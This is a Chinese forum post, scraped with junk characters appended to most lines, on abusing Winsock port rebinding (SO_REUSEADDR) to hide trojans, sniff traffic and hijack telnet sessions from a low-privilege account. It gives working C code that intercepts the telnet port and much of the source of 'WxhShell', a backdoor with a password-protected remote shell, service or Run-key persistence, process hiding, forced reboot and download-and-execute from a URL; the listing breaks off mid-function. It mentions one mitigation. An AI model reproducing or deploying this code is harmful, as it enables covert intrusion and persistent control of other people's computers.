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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =  Oq;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u j:w^t ][  
Vy/g;ZPU1  
  saddr.sin_family = AF_INET; d&ZwVF!  
=riP~%_ML)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #Se  
-B4v1{An  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }j:ae \(  
<wSmfg,yF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 PO}Q8Q3  
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  这意味着什么?意味着可以进行如下的攻击: 4p-$5Fk8}  
NMj `wQ`M+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 JPpYT~4  
m9q%l_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) z)]EB6uRg  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 34?yQX{  
txgGL'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  PIrUls0}  
j)]'kg  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #k"[TCQ>  
T4#knSIlh  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 CX:^]wY  
&t8_J3?Z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {&;b0'!Tf  
=L=#PJAPj  
  #include P0Jd6"sS"  
  #include hKT:@l*  
  #include ?ykZY0{B  
  #include    HcVPJuD  
  DWORD WINAPI ClientThread(LPVOID lpParam);   h1kPsgzR  
  int main() PRLV1o1#  
  { "''<:K|  
  WORD wVersionRequested; zo5.}mr+  
  DWORD ret; 2%<jYm#'z-  
  WSADATA wsaData; 5]Ra?rF  
  BOOL val; Gzfb|9 ,q  
  SOCKADDR_IN saddr; KALg6DZe:  
  SOCKADDR_IN scaddr; `%XgGHiE  
  int err; Q)@1:(V/  
  SOCKET s; pkU e|V  
  SOCKET sc; z\h+6FCD  
  int caddsize; aK&+p#4t  
  HANDLE mt; i]-gO  
  DWORD tid;   yki k4MeB  
  wVersionRequested = MAKEWORD( 2, 2 ); 7qUtsDK  
  err = WSAStartup( wVersionRequested, &wsaData ); z-gwNE{  
  if ( err != 0 ) { g Oj5c  
  printf("error!WSAStartup failed!\n"); ,SM- Z`'  
  return -1; Uaj=}p\+.p  
  } PM.SEzhm  
  saddr.sin_family = AF_INET; \l:g{GnoT  
   lp}WBd+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 eE{L>u  
/kA19E4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); UvZ@"El  
  saddr.sin_port = htons(23); 9$,gTU_a  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h3lDDyu  
  { W^ :/0WR  
  printf("error!socket failed!\n"); f>5RAg  
  return -1; $ tNhwF  
  } ]k: m2$le  
  val = TRUE; 6)U&XWH0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3NN'E$"3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <VU4rk^=  
  { bX H^Bm  
  printf("error!setsockopt failed!\n"); {?mQqoZ?.  
  return -1; LZ)m](+M  
  } 6lWFxbh  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M91lV(Z   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8>{W:?I  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 klJ[ {p  
B#6pQp$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) S9NN.dKu  
  { _qeuVi=A  
  ret=GetLastError(); tt ]V$V  
  printf("error!bind failed!\n"); eqZ+no  
  return -1; bjBeiKH  
  } b3b~T]]  
  listen(s,2); vif8 {S  
  while(1)  aoDD&JE  
  { XLmMK{gs  
  caddsize = sizeof(scaddr); d BMe`hM)  
  //接受连接请求 bk wa{V  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); T_x+sv=|X!  
  if(sc!=INVALID_SOCKET) cvUut^CdK  
  { v"r9|m~'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2d2@J{  
  if(mt==NULL) ~$4.Mf,u  
  { QG|GXp_q`  
  printf("Thread Creat Failed!\n"); `8(h,aj;  
  break; w2d]96*kQe  
  } Yxd{&47  
  } aw/7Z`   
  CloseHandle(mt); vV.~76AD5  
  } 7y)=#ZG'R  
  closesocket(s); 9c6GYWIFt&  
  WSACleanup(); %XI"<Y\yL  
  return 0; Y#lk!#\Y  
  }   ZSXRzH~0  
  DWORD WINAPI ClientThread(LPVOID lpParam) Hs%QEvZl  
  { ,|.8nk"  
  SOCKET ss = (SOCKET)lpParam; a_{io`h3&  
  SOCKET sc; ;T.s!B$Uu  
  unsigned char buf[4096]; t0bhXFaiE  
  SOCKADDR_IN saddr; ;tp]^iB#  
  long num; u`Z0{d  
  DWORD val; y~ _za(k  
  DWORD ret; {?*<B=c  
  //如果是隐藏端口应用的话,可以在此处加一些判断 i Y*o;z,~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   G#w^:UL  
  saddr.sin_family = AF_INET; ,\lY Px\P[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); VU! l50   
  saddr.sin_port = htons(23); 5L-lpT8P  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) " ^HK@$  
  { 9zZ5Lr^21  
  printf("error!socket failed!\n"); #zS1Z f^KP  
  return -1; X,TTM,1w  
  } 6?V<BgCC  
  val = 100; 7R9nMGJ@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B;Xoa,  
  { )bLGEmm  
  ret = GetLastError(); ME$2P!o  
  return -1; 6<x~Mk'u)  
  } 7/H^<%;y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,3Wb4so  
  { m'cz5mcD  
  ret = GetLastError(); D|@bGN  
  return -1; b TLMd$  
  } 4q>7OB:e  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) BBHK  
  { 8Y2xW`  
  printf("error!socket connect failed!\n"); pheE^jUr  
  closesocket(sc); d<Ggw#}:m  
  closesocket(ss); Z_H?WGO  
  return -1; v(DwU!  
  } v*E(/}<v  
  while(1) o#qH2)tb  
  { OT%0{2c"]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9G0D3F  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 IY=/` g  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 d/3J' (cq  
  num = recv(ss,buf,4096,0); 7vn%kW=$  
  if(num>0) 2w+U$6e C  
  send(sc,buf,num,0); V=pMq?Nr  
  else if(num==0) Sw~(uH_l  
  break; z{9=1XY  
  num = recv(sc,buf,4096,0); !p9)CjQ"  
  if(num>0) eD%H XGe  
  send(ss,buf,num,0); bS.s?a  
  else if(num==0) ]r4bRK[1  
  break; *5_V*v6  
  } ,CP 5~4u  
  closesocket(ss); q:I$EpKf?Q  
  closesocket(sc); v??TJ^1  
  return 0 ; E<tK4?i"  
  } 07V8;A<,  
:ygWNK[ 6D  
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========================================================== ? B@&#E!/f  
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下边附上一个代码,,WXhSHELL MtS3p>4  
j[I`\"  
========================================================== ,apNwkY  
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#include "stdafx.h" T.REq4<  
]1D%zKY%$Z  
#include <stdio.h> xl(@C*.sC1  
#include <string.h> Y34/+Fi  
#include <windows.h> }Ov ^GYnn  
#include <winsock2.h> aTd D`h  
#include <winsvc.h> |?d#eQ9a  
#include <urlmon.h> $Az^Y0[D  
^Dg <Ki  
#pragma comment (lib, "Ws2_32.lib") \\,f{?w  
#pragma comment (lib, "urlmon.lib") \\06T `  
7Ym(n8  
#define MAX_USER   100 // 最大客户端连接数 %<"}y$J  
#define BUF_SOCK   200 // sock buffer 0fm*`4Q  
#define KEY_BUFF   255 // 输入 buffer 4[yIOs  
LJFG0 W  
#define REBOOT     0   // 重启 iYJZvN  
#define SHUTDOWN   1   // 关机 ,E;;wdIt  
R\mR$\cS  
#define DEF_PORT   5000 // 监听端口 3*ixlO:qGk  
slu(SmQ  
#define REG_LEN     16   // 注册表键长度 ! }f1`/   
#define SVC_LEN     80   // NT服务名长度 J-xS:Ha'l  
~YP Jez  
// 从dll定义API N~^yL<O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &<y2q/U}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^/U27B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WIr2{+#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h6_(?|:-(  
)+P]Vf\jH  
// wxhshell配置信息 ritBU:6  
struct WSCFG { %FZ2xyI.  
  int ws_port;         // 监听端口 ^qGb%! l  
  char ws_passstr[REG_LEN]; // 口令 Fmyj*)J[Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no /./"x~@  
  char ws_regname[REG_LEN]; // 注册表键名 <TGn=>u  
  char ws_svcname[REG_LEN]; // 服务名 @"-</x3o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h!rM^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *&BnF\?m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B* kcN lW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no VhL{'w7f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dCyqvg6u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v+ 7kU=  
VKp*9%9  
}; $+JS&k/'m  
7?j;7.i s(  
// default Wxhshell configuration Q?b14]6im  
struct WSCFG wscfg={DEF_PORT, /1N6X.Zb  
    "xuhuanlingzhe", (jjTK'0[  
    1, v ^[39*8  
    "Wxhshell", )J]9 lW&y  
    "Wxhshell", &LO"g0w  
            "WxhShell Service", Hnknly  
    "Wrsky Windows CmdShell Service", :Z`:nq.a  
    "Please Input Your Password: ", 1"Z@Q`}  
  1, }En  
  "http://www.wrsky.com/wxhshell.exe", **9x?s  
  "Wxhshell.exe" ZkL8e  
    }; NBl+_/2'w  
k@zy  
// 消息定义模块 W} WI; cI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b@RHc!,>jV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vEf4HZ&w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ojYbR<jn9  
char *msg_ws_ext="\n\rExit."; Z^ }mp@j>  
char *msg_ws_end="\n\rQuit."; %CWPbk^  
char *msg_ws_boot="\n\rReboot..."; *I}`dC[  
char *msg_ws_poff="\n\rShutdown..."; mc=LP>uoS  
char *msg_ws_down="\n\rSave to "; f#+el y  
8.F~k~srA  
char *msg_ws_err="\n\rErr!"; HhO".GA  
char *msg_ws_ok="\n\rOK!"; :0Z^uuk`gq  
UOQEk22  
char ExeFile[MAX_PATH]; W3`>8v1?o  
int nUser = 0; dJ$"l|$$  
HANDLE handles[MAX_USER]; YK|bXSA[  
int OsIsNt; dJ"iEb|4  
x.Q&$#  
SERVICE_STATUS       serviceStatus; 3u%{dGa  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; IV\J3N^  
gV&z2S~"  
// 函数声明 ~?B;!Csk  
int Install(void); v<Bynd-  
int Uninstall(void); SG6sw]x  
int DownloadFile(char *sURL, SOCKET wsh); !i=nSqW  
int Boot(int flag); pp9Zb.D\  
void HideProc(void); AwQ?l(iZ"p  
int GetOsVer(void); v[Kxja;  
int Wxhshell(SOCKET wsl); qI^ /"k*5  
void TalkWithClient(void *cs); kdGT{2u  
int CmdShell(SOCKET sock); Z7 E  
int StartFromService(void); @?h/B=5 6  
int StartWxhshell(LPSTR lpCmdLine); @&[T _l  
1S@vGq}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i<pk6rO1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L(X6-M:  
DxJX+.9K9  
// 数据结构和表定义 Z@hD(MS(C  
SERVICE_TABLE_ENTRY DispatchTable[] = OyqNLR  
{ @LJpdvb  
{wscfg.ws_svcname, NTServiceMain}, >>[ G1   
{NULL, NULL} ~o n(3|$  
}; z({hiVs  
z0/} !  
// 自我安装 /lafve~  
int Install(void) EUIIr4]  
{ "s\L~R.&  
  char svExeFile[MAX_PATH]; LzYO$Ir:g  
  HKEY key; $0arz{Oh  
  strcpy(svExeFile,ExeFile);  ,m,)I  
< })'Y~i  
// 如果是win9x系统,修改注册表设为自启动 *cyeO*  
if(!OsIsNt) { I*VCpaA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s|D>-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6 PxW8pn  
  RegCloseKey(key); -j&Tc` j_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7.j[a*^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5O`dO9g}$  
  RegCloseKey(key); v!%5&: c3  
  return 0; ^ "\R\COQ  
    } &N;-J2M  
  } <x!GE>sf+  
} /EG~sRvl}  
else { @u1zB:  
5aa<qtUjH  
// 如果是NT以上系统,安装为系统服务 B<-kzt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E#s)52z=B  
if (schSCManager!=0) 'TA UE{{  
{ J+f!Ar  
  SC_HANDLE schService = CreateService 3"{.37Q  
  ( D\e8,,H  
  schSCManager, =w$}m_AM  
  wscfg.ws_svcname, T,$WlK Wj  
  wscfg.ws_svcdisp, `l*;t`h  
  SERVICE_ALL_ACCESS, n3sUbs;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <EST?.@~+  
  SERVICE_AUTO_START, 2./ 3 \n2  
  SERVICE_ERROR_NORMAL, M2U&?V C!  
  svExeFile, ox ;  
  NULL, HEGKX]  
  NULL, @&}q} D  
  NULL, {?`al5Sz  
  NULL, ;.bm6(;  
  NULL *FJZi Py  
  ); BT@r!>Nl  
  if (schService!=0) &Ni`e<mP  
  { qL94SW;  
  CloseServiceHandle(schService); !`7B^RZ  
  CloseServiceHandle(schSCManager); }=!,o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u_).f<mUdF  
  strcat(svExeFile,wscfg.ws_svcname); h`MF#617  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -Qn=|2Mm?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C XHy.&Vt  
  RegCloseKey(key); 5?Wto4j  
  return 0; <?D\+khlq  
    } 1 tR_8lC  
  } tBct  
  CloseServiceHandle(schSCManager); rhL"i^  
} f}D1|\7  
} b2@VxdFN  
`~X!Ll  
return 1; ?i`l[+G  
} [2|kl l  
dZ _zg<  
// 自我卸载 v<fnB  
int Uninstall(void) "U \JV)N  
{ BW,mwq  
  HKEY key; ( 9]_ HW[  
D13Rx 6b  
if(!OsIsNt) { al`3Lu0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jP~Z`y f  
  RegDeleteValue(key,wscfg.ws_regname); a5G/[[cwTV  
  RegCloseKey(key); q{ /3V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C4}*) a  
  RegDeleteValue(key,wscfg.ws_regname); s{w[b\rA  
  RegCloseKey(key); X=C1/4wU  
  return 0; # 6!5 2  
  } ,hVvve,j}  
} KzQ3.)/q  
} =tU{7i*+  
else { a {ab*tM  
fo4.JyBk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X";@T.ZGut  
if (schSCManager!=0) ;=? ~ -_  
{ (Y^X0yA/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~8m=1)A{(  
  if (schService!=0) xF8}:z0  
  { }$\M{# C~  
  if(DeleteService(schService)!=0) { %AN/>\#p  
  CloseServiceHandle(schService); oDcKtB+2  
  CloseServiceHandle(schSCManager); +`uY]Q ,O  
  return 0; bZx!0>h  
  } y ?G_y  
  CloseServiceHandle(schService); QKE9R-K TE  
  } 6'W[{gzl  
  CloseServiceHandle(schSCManager); {s3z"OV  
} <[GYLN[0Q  
} a=TG[* s  
 mA7m  
return 1; DKVT(#@T  
} % },Pe  
gDIBnH  
// 从指定url下载文件 >\w&6 i~  
int DownloadFile(char *sURL, SOCKET wsh) H[b}kZW:a  
{ B-d(@7,1  
  HRESULT hr; )f dE6  
char seps[]= "/"; BGr.yEy  
char *token; Vpp;\  
char *file; 5( _6+'0  
char myURL[MAX_PATH]; iBudmT8  
char myFILE[MAX_PATH]; HMY@F_qY`u  
1|8<H~&  
strcpy(myURL,sURL); h O emt  
  token=strtok(myURL,seps); vB! |\eJ  
  while(token!=NULL) DF{OnF  
  { U.T|   
    file=token; iK{T^vvk  
  token=strtok(NULL,seps); 6Fy@s  
  } V,EF'-F  
&6Il(3-^  
GetCurrentDirectory(MAX_PATH,myFILE); (Vg}Hh?p  
strcat(myFILE, "\\"); <:8,niKtw  
strcat(myFILE, file); [0[M'![8M  
  send(wsh,myFILE,strlen(myFILE),0); 9SMiJad<  
send(wsh,"...",3,0); @/%{15s.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M2@^bB\J  
  if(hr==S_OK) ~2 u\  
return 0; >5T_g2pkv  
else B pLEPuu30  
return 1; @6o]chJo  
z&4~x!-_  
} ,)~E>[=+  
^%y`u1ab  
// 系统电源模块 (bn Zy0  
int Boot(int flag) rsa&Oo D>  
{ GJ 'spgz  
  HANDLE hToken; *@ED}Mj+  
  TOKEN_PRIVILEGES tkp; TJ6#P<M  
`"k9wC1  
  if(OsIsNt) { #G3N(wV3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oQ+61!5>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I_ "Z:v{  
    tkp.PrivilegeCount = 1; }fhHXGK.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gdj^df+2F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -T/W:-M(  
if(flag==REBOOT) { 9>,Qgp,w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GO5~!g  
  return 0; 6xgv:,  
} >Cd9fJ&0gP  
else { iz}sM>^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) POU}/e!Ua  
  return 0; \Mi#{0f+q  
} {,O`rW_eS  
  } /c+)C"  
  else { <xS=#  
if(flag==REBOOT) { >HkhAJhW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7el<5chZ  
  return 0; &:?e&  
} g{pQ4jKF  
else { [ug,jEH"S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Jme%  
  return 0; "2HY5 AE  
} ;MTz]c  
} nx4P^P C  
P6?0r_Y  
return 1; )@:l^$x  
} ekzjF\!y  
`"y{;PCt_  
// win9x进程隐藏模块 +?N}Y{Y&  
void HideProc(void) ? J|4l[x  
{ kC^.4n om  
j.c8}r&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MguL$W&l  
  if ( hKernel != NULL ) K=kH%ZK  
  { E5x]zXy4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x% XT2+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,8 SWe  
    FreeLibrary(hKernel); {Jx7_T&  
  } U'3Fou}  
2bA#D%PHD  
return; g{DFS[h  
} -Z?Ck!00  
/(%Ig,<"JC  
// 获取操作系统版本 x1DVD!0~{  
int GetOsVer(void) /| GH0L  
{ ic~Z_?p  
  OSVERSIONINFO winfo; wA0eG@xi)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DPPS?~Pq  
  GetVersionEx(&winfo); W]LQ &f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rdI]\UH  
  return 1; :J%'=_I&H  
  else rUFFF'm\*a  
  return 0; !"(u_dFw  
} 9qeZb%r&  
97x%2.\:  
// 客户端句柄模块 1#!@["  
int Wxhshell(SOCKET wsl) 8m7eaZ  
{ zv9M HC &  
  SOCKET wsh; f=oeF]=I"  
  struct sockaddr_in client; xK!DtRzsA  
  DWORD myID; A5+5J_)*  
ruHrv"29  
  while(nUser<MAX_USER) x)\V lR  
{ 4@))OD^x  
  int nSize=sizeof(client); V(I7*_ZFl  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (. H ]|  
  if(wsh==INVALID_SOCKET) return 1; x,-S1[#X;  
^cb)f_90  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %ph"PR/t?  
if(handles[nUser]==0) GMT or  
  closesocket(wsh); :s-EG;.  
else CjmV+%b4  
  nUser++; -XLo0  
  } :B+Rg cqi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kyK'  
rkq)&l=ny  
  return 0; W1<.OO\J  
} p~FQcW'a~  
Np)ho8zU  
// 关闭 socket /o\U/I  
void CloseIt(SOCKET wsh) km}MqBQl  
{ 3~:0?Zuq  
closesocket(wsh); Vbo5`+NAis  
nUser--; B MY>a  
ExitThread(0); ?Oqzd$-  
} UIz:=DJ  
{Wa~}1`Kl  
// 客户端请求句柄 #_{0Ndp2  
void TalkWithClient(void *cs) PM8Ks?P#u  
{ u8^Y,LN  
 2aFT<T0  
  SOCKET wsh=(SOCKET)cs; k*OvcYL1A  
  char pwd[SVC_LEN]; 5^b i 7J  
  char cmd[KEY_BUFF]; "I@v&(Am;  
char chr[1]; OWZS3Y+  
int i,j; q[Vi[b^F  
xM%`K P.8X  
  while (nUser < MAX_USER) { HLM;EZ  
Q g$($   
if(wscfg.ws_passstr) { YsZ{1W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); di--:h/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Oy:QkV9  
  //ZeroMemory(pwd,KEY_BUFF); |.Em_*VG  
      i=0; r?>Vx -  
  while(i<SVC_LEN) { n}0za#G  
TN J<!6  
  // 设置超时 B>sCP"/uV  
  fd_set FdRead; "Wo.8  
  struct timeval TimeOut; phr2X*Z/)Y  
  FD_ZERO(&FdRead); qQL.c+%L  
  FD_SET(wsh,&FdRead); 1B6C<cL:sU  
  TimeOut.tv_sec=8; <{E;s)hD?  
  TimeOut.tv_usec=0; r}ZLf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HOq4i !  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O%fUm0O d  
jYrym-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ud yAP>  
  pwd=chr[0]; K*HCFqr U"  
  if(chr[0]==0xd || chr[0]==0xa) { `'*F 1F  
  pwd=0; 6`_!?u7  
  break; oDz*~{BHg  
  } yQ8M >H#J  
  i++; 4pLQ"&>}80  
    } l8er$8S}  
a_Z.J3  
  // 如果是非法用户,关闭 socket `<S/?I8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'CS^2Z  
} j\!~9  
KLG6QBkj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ok*VQKyDLH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #D= tX  
Uc\|X;nkRk  
while(1) { chKF6n  
:/>7$)+  
  ZeroMemory(cmd,KEY_BUFF); |)28=Z|Z  
+]A+!8%Z  
      // 自动支持客户端 telnet标准   's=Q.s  
  j=0; BXT 80a\  
  while(j<KEY_BUFF) { zA2UFax=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :|?~B%-p[  
  cmd[j]=chr[0]; : [A?A4l  
  if(chr[0]==0xa || chr[0]==0xd) { | \Ab L!u  
  cmd[j]=0; WA<H  
  break; R'vdk<  
  } E^oEG4 X@  
  j++; )3k)2XF  
    } ;~}- AI-  
d 8xk&za  
  // 下载文件 t9-_a5>E\}  
  if(strstr(cmd,"http://")) { {fAh@:{@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); + #|'|}j  
  if(DownloadFile(cmd,wsh)) 6$W-?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ 1ak I  
  else N5:D8oWWXR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @).WIs  
  } vN{vJlpY  
  else { w k-Mu\  
({*.!ty  
    switch(cmd[0]) { E`oSi ez)  
  .a 'ETNY:>  
  // 帮助 k$9Gn9L%  
  case '?': { ;y:#S^|?-z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +W V@o'  
    break; ~@b9  
  } <wIp$F.  
  // 安装 I T*fjUY&  
  case 'i': { V/QTYy1  
    if(Install()) 5pNvzw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !mw{T D  
    else D6C -x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o'x_g^ Y  
    break; EGQ1l i'B  
    } +^^S'mP8  
  // 卸载 i~v@  
  case 'r': { rwi2kk#@P  
    if(Uninstall()) -~rr<D\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $5q{vy  
    else Vp- n(Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~Mg8C9B?%3  
    break; @F""wKnV  
    } pAPQi|CN  
  // 显示 wxhshell 所在路径 [*mCa:^  
  case 'p': { IkE'_F  
    char svExeFile[MAX_PATH]; dpc=yXg>"c  
    strcpy(svExeFile,"\n\r"); D7Rbho<  
      strcat(svExeFile,ExeFile); (HTk;vbZm  
        send(wsh,svExeFile,strlen(svExeFile),0); MJ*oeI!.=  
    break; .R<s<]  
    } % @^VrhS  
  // 重启 37ri b  
  case 'b': { tZJ 9}\r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `Tm8TZd66  
    if(Boot(REBOOT)) O*+w_fox  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~gzpX,{ n  
    else { 45!`g+)  
    closesocket(wsh); '3Lx!pMhN  
    ExitThread(0); .{Eg(1At  
    } c,[qjr#\>  
    break; ><Mbea=U+  
    } -mWw.SfEZ  
  // 关机 K{[Fa,]'  
  case 'd': { Z{R=h7P  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ff1M~MhG  
